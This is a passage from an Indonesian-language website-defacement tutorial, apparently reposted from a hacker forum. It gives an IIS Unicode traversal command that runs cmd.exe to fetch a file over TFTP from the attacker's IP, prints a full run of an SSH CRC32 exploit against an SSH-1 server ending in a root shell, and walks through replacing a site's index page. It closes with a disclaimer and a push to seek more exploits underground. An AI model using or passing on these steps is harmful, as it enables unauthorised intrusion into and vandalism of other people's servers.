• Bagian command, yaitu cmd.exe?/c+tftp+-i+202.95.145.71(IPmu)+get+antique.htm(file yg mau koe up-load)+
• Bagian PATH_TRANSLATEDNYAH(rootnyah)+Dokumen webnyah yaitu,
  C:\InetPub\wwwroot\main.html

Kekurangannyah dalam meng-upload file lewat TFTP32terkadang suatu server (web site) tidak mau menerima up-load file kita tadee.Jikalau itu terjadi maka gunakanlah cara pertama diatas tadee.

Sebelumnya dan sesudahnyah sayah mo ngejelasin bahwa tutorial ini tidak mempunyai maksud tertentu selain untuk ilmu pengetahuan dan kebebasan dalam berbagi ilmu pengetahuan. Sayah tidak bertanggung jawab apapun terhadap segala sesuatu yang terjadi akibat tutorial ini. Tutorial ini bersifat terbuka yang berarti Anda bisa memberikan kritik dan saran terhadap tutorial ini.

——————————————–END————————————————–

Nah itu adalah cara pemanfaatan lubang di IIS server yang dikenal dengan nama UNICODE, untuk tambahan bahwa sekarang UNICODE telah berkembang banyak ditemukan beberapa bug baru yang dapat dimanfaatkan untuk masuk ke server IIS, untuk hal ini kalian bisa cari di situs2 cyber underground…hehehehe “yang kreatif donk..!!”

Okeh sekrang kita ke UNIX yah…di unix sendiri yang perlu dilakukan untuk men-deface situs adalah memperoleh fasilitas root dari server tsb. Cara memperoleh fasilitas root tentu saja melalui exploit (mengenai masalah exploit bisa kalian lihat di bagian “Hacking Shell”). Nah disini gue akan memberi salah satu contoh mendapatkan fasilitas root dari exploit “SSH CRC32 Exploit”, exploit ini ditujukan pada SSH server yang berjalan pada SSH protocol 1 atau SSH protocol 2 configured to drop back to protocol 1 Ketika berjalan exploitnya akan bekerja seperti ini :

[root@juventini]# ./x10 -t1 192.168.1.120

password:

Target: Small – SSH-1.5-1.2.26

Attacking: 192.168.1.120:22
Testing if remote sshd is vulnerable # ATTACH NOWYES #
Finding h – buf distance (estimate)
(1 ) testing 0×00000004 # SEGV #
(2 ) testing 0×0000c804 # FOUND #
Found buffer, determining exact diff
Finding h – buf distance using the teso method
(3 ) binary-search: h: 0×083fb7fc, slider: 0×00008000 # SEGV #
(4 ) binary-search: h: 0×083f77fc, slider: 0×00004000 # SURVIVED #
(5 ) binary-search: h: 0×083f97fc, slider: 0×00002000 # SURVIVED #
(6 ) binary-search: h: 0×083fa7fc, slider: 0×00001000 # SEGV #
(7 ) binary-search: h: 0×083f9ffc, slider: 0×00000800 # SEGV #
(8 ) binary-search: h: 0×083f9bfc, slider: 0×00000400 # SEGV #
(9 ) binary-search: h: 0×083f99fc, slider: 0×00000200 # SURVIVED #
(10) binary-search: h: 0×083f9afc, slider: 0×00000100 # SEGV #
(11) binary-search: h: 0×083f9a7c, slider: 0×00000080 # SEGV #
(12) binary-search: h: 0×083f9a3c, slider: 0×00000040 # SEGV #
(13) binary-search: h: 0×083f9a1c, slider: 0×00000020 # SEGV #
(14) binary-search: h: 0×083f9a0c, slider: 0×00000010 # SURVIVED #
(15) binary-search: h: 0×083f9a14, slider: 0×00000008 # SURVIVED #
Bin search done, testing result
Finding exact h – buf distance
(16) trying: 0×083f9a14 # SURVIVED #
Exact match found at: 0×000065ec
Looking for exact buffer address
Finding exact buffer address
(17) Trying: 0×080865ec # SURVIVED #
Finding distance till stack buffer
(18) Trying: 0xb7f81400 # SEGV #
(19) Trying: 0xb7f81054 # SEGV #
(20) Trying: 0xb7f80ca8 # SEGV #
(21) Trying: 0xb7f808fc # SEGV #
(22) Trying: 0xb7f80550 # SEGV #
(23) Trying: 0xb7f801a4 # SEGV #
(24) Trying: 0xb7f7fdf8 # SEGV #
(25) Trying: 0xb7f7fa4c # SEGV #
(26) Trying: 0xb7f7f6a0 # SEGV #
(27) Trying: 0xb7f7f2f4 # SEGV #
(28) Trying: 0xb7f7ef48 # SEGV #
(29) Trying: 0xb7f7eb9c # SEGV #
(30) Trying: 0xb7f7e7f0 # SEGV #
(31) Trying: 0xb7f7e444 # SEGV #
(32) Trying: 0xb7f7e098 # SURVIVED # verifying
(33) Trying: 0xb7f7e098 # SEGV # OK
Finding exact h – stack_buf distance
(34) trying: 0xb7f7de98 slider: 0×0200# SURVIVED #
(35) trying: 0xb7f7dd98 slider: 0×0100# SURVIVED #
(36) trying: 0xb7f7dd18 slider: 0×0080# SEGV #
(37) trying: 0xb7f7dd58 slider: 0×0040# SEGV #
(38) trying: 0xb7f7dd78 slider: 0×0020# SURVIVED #
(39) trying: 0xb7f7dd68 slider: 0×0010# SEGV #
(40) trying: 0xb7f7dd70 slider: 0×0008# SEGV #
(41) trying: 0xb7f7dd74 slider: 0×0004# SURVIVED #
(42) trying: 0xb7f7dd72 slider: 0×0002# SEGV #
Final stack_dist: 0xb7f7dd74
EX: buf: 0×080835ec h: 0×0807d000 ret-dist: 0xb7f7dcfa

ATTACH NOW
Changing MSW of return address to: 0×0808
Crash, finding next return address
Changing MSW of return address to: 0×0809
Crash, finding next return address
Changing MSW of return address to: 0×080a
Crash, finding next return address
EX: buf: 0×080835ec h: 0×0807d000 ret-dist: 0xb7f7dcf6

ATTACH NOW
Changing MSW of return address to: 0×0808
Crash, finding next return address
Changing MSW of return address to: 0×0809
Crash, finding next return address
Changing MSW of return address to: 0×080a
Crash, finding next return address
EX: buf: 0×080835ec h: 0×0807d000 ret-dist: 0xb7f7dcfc

ATTACH NOW
Changing MSW of return address to: 0×0808
Crash, finding next return address
Changing MSW of return address to: 0×0809
No Crash, might have worked
Reply from remote: CHRIS CHRIS

***** YOU ARE IN *****

localhost.localdomain

Linux localhost.localdomain 2.2.16-22 #1 Tue Aug 22 16:49:06 EDT 2000
i686
unknown

uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

…..HOREEEEE…dapat root heheehehhe, nah sekarang loe udah mendapatkan fasilitas root, okeh sekarang kita mulai men-deface situs yang tedapat pada server tsb. Pertama-tama perlu kalian ketahui bahwa biasanya halaman index pada server UNIX ditempatkan pada direktori tertentu, yaitu : home/html atau home/html/httpd atau bisa juga di direktori var/html atau var/html/httpd
naH..tunggu apa lagi coba deh loe liat-liat isi direktori itu…untuk meyakinkannya loe buka situs tsb pada browser dan lihatlah apa nama dari file halaman index situs itu..hmmm biasanya sich index.html atau index.htm Udah dapat indexnya? kalo udah sekarang loe bisa echo deh…gampang kan??? heheheh..cuman kalo gue rada malas sich make echo mending bikin halaman baru…;)), gini caranya :

1. ganti dulu nama indexnyamv index.htm oldindex.htm
2. sekarang buka editor dari shell, bisa make vi atau pico : vi index.htm
3. masukan HTML yang kalian buat di vi ataupun pico tadi
4. buka browser kalian….heheeheh..udah ganti kan sekrang halamannya..:))) SiiiPPPP..!!

Gitu aja kok caranya…mudah aja kan..?? hehehhe…intinya memang cuman bagaimana mendapatkan fasilitas root pada server, dan seperti yang telah gue bilang tadi bahwa setiap server memiliki karakteristik yang berbeda-beda sesuai dengan OS nya masing2. Sehingga diperlukan exploit yang berbeda apabila kita ingin mencoba menembus server yang memiliki OS yang berbeda pula…so many exploit out thare…just get iT..!!
hehehheudah dulu yah…BUBAYYYYYY!!!!!!!!!!!!


Source : Binus Hacker